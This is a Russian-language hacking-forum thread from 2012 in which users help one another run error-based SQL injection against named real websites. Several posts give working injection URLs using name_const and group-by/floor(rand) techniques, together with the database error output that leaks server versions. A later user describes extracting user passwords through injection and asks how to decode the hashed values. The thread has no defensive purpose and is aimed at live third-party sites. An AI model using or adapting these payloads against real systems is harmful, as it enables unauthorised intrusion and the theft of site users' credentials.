ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 08.02.2012, 07:31
Ereee
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами: 7604246

Репутация: 267


По умолчанию

Может просто ифрейм?
 
Ответить с цитированием

  #2  
Старый 08.02.2012, 19:45
Always
Познающий
Регистрация: 08.02.2012
Сообщений: 72
С нами: 7504886

Репутация: 0
По умолчанию

что можете сказать или лучше посоветовать?

Код:
_ww.9_months.ru/vote/24'
Спасибо.
 
Ответить с цитированием

  #3  
Старый 08.02.2012, 19:55
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами: 8255126

Репутация: 78
По умолчанию

Цитата:
Сообщение от Always  
что можете сказать или лучше посоветовать?
Код:
_ww.9_months.ru/vote/24'
Спасибо.
Ссылку нормально дай.
 
Ответить с цитированием

  #4  
Старый 08.02.2012, 20:17
pirat0
Познающий
Регистрация: 16.01.2011
Сообщений: 71
С нами: 8063606

Репутация: -1
По умолчанию

Цитата:
Сообщение от Always  
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]www.9months[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ru[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]vote[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]24[/COLOR][COLOR="#DD0000"]'[/COLOR][/COLOR] 
вот версию вывел а дальше хз.

http://www.9months.ru/vote/25-1'and(select*from(select(name_const(version(),1)), name_const(version(),1))a)and'

нужна помощь великих и могучих))

Код:
Duplicate column name '5.0.86-log'
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/home/9months/data/www/9months.ru/vote.php on line 195
нет такого опроса
 
Ответить с цитированием

  #5  
Старый 08.02.2012, 20:20
qaz
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами: 8334326

Репутация: 75


По умолчанию

Немогу вывести инфу через контактацию с ошибком, помогите составить запрос

Цитата:
Сообщение от None  
http://www.dunloptyres.ru/tyre.php?id=3+or+1+group+by+concat%28%28select+ver sion%28%29%29,0x00,floor%28rand%280%29*2%29%29havi ng+min%280%29+or+1--+
 
Ответить с цитированием

  #6  
Старый 08.02.2012, 20:25
pirat0
Познающий
Регистрация: 16.01.2011
Сообщений: 71
С нами: 8063606

Репутация: -1
По умолчанию

Цитата:
Сообщение от qaz  
Немогу вывести инфу через контактацию с ошибком, помогите составить запрос
гы, я тоже с этим сайтом в прошлом парился)))

вот

http://www.dunloptyres.ru/tyre.php?id=3+and(select+count(*)+from+information _schema.tables+group+by(concat(version(),0x00,floo r(rand(0)*2))))--+

Код:
AND b.id=a.tyre_type_id [nativecode=1062 ** Duplicate entry '5.0.87-community' for key 1]
Array
 
Ответить с цитированием

  #7  
Старый 08.02.2012, 21:34
sl1k
Новичок
Регистрация: 31.07.2009
Сообщений: 1
С нами: 8832539

Репутация: 0
По умолчанию

Достаю пассы через скулю с БД, но проблема с кодировкой

пассы на кирилице выглядят дdЭеѓj(¤хW nжnѓ»

как бороться ?
 
Ответить с цитированием

  #8  
Старый 08.02.2012, 21:47
sl1k
Новичок
Регистрация: 31.07.2009
Сообщений: 1
С нами: 8832539

Репутация: 0
По умолчанию

точнее это не с кодировкой проблемы это так пасы шифруються .

Вот пример нескольких паролей

Цитата:
Сообщение от None  
cв§±uКч"‡Bњn
dс\ ґЃJК.я-йј
ЛXЫ l[Ж RЂNяїџъ
ХzWt 9:fЗРЭh.G
У всех по 16 символов , но что это такое ? есть у кого идеи каким макаром оно зашифоровано?
 
Ответить с цитированием

  #9  
Старый 08.02.2012, 21:47
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию

Цитата:
Сообщение от sl1k  
Достаю пассы через скулю с БД, но проблема с кодировкой
пассы на кирилице выглядят дdЭеѓj(¤хW nжnѓ»
как бороться ?
ascii, hex
 
Ответить с цитированием

  #10  
Старый 08.02.2012, 23:32
sl1k
Новичок
Регистрация: 31.07.2009
Сообщений: 1
С нами: 8832539

Репутация: 0
По умолчанию

16 символов навело на мысль что это sql хеш , но че он в таком странном виде?

Подскажите кто нибудь хоть что-то плз .
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 8 (пользователей: 0 , гостей: 8)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.